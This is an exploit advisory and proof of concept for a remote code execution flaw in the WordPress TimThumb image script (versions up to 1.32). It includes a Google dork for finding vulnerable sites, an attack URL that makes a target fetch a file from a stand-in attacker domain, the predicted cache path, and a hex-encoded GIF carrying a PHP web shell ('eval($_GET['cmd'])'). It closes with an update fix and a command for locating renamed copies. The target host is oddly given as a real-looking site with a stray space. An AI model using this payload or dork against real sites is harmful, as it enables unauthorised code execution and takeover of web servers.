# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution

# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com

# Date: 3rd August 2011

# Author: MaXe

# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php

# Version: 1.32

 

 

WordPress TimThumb (Theme) Plugin - Remote Code Execution

 

 

Versions Affected:

1.* - 1.32 (Only version 1.19 and 1.32 were tested.)

(Version 1.33 did not save the cache file as .php)

 

 

Info: (See references for original advisory)

TimThumb is an image resizing utility, widely used in many WordPress themes.

 

 

External Links:

http://www.binarymoon.co.uk/projects/timthumb/

http://code.google.com/p/timthumb/

 

Credits:

- Mark Maunder (Original Researcher)

- MaXe (Indepedendent Proof of Concept Writer)

 

 

-:: The Advisory ::-

TimThumb is prone to a Remote Code Execution vulnerability, due to the

script does not check remotely cached files properly. By crafting a

special image file with a valid MIME-type, and appending a PHP file at

the end of this, it is possible to fool TimThumb into believing that it

is a legitimate image, thus caching it locally in the cache directory.

 

 

Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

http://www.2cto.com /wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

 

Stored file on the Target: (This can change from host to host.)

1.19: http://www.2cto.com /wp-content/themes/THEME/cache/md5($src);

1.32: http://www.2cto.com /wp-content/themes/THEME/cache/external_md5($src);

md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.

 

 

Proof of Concept File:

\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00

\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00

\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02

\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65

\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D

\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

 

(Transparent GIF + <?php @eval($_GET['cmd']) ?>

 

 

 

-:: Solution ::-

Update to the latest version 1.34 or delete the timthumb file.

 

NOTE: This file is often renamed and you should therefore issue

a command like this in a terminal: (Thanks to rAWjAW for this info.)

find . | grep php | xargs grep -s timthumb

 

 

Disclosure Information:

- Vulnerability Disclosed (Mark Maunder): 1st August 2011

- Vulnerability Researched (MaXe): 2nd August 2011

- Disclosed at The Exploit Database: 3rd August 2011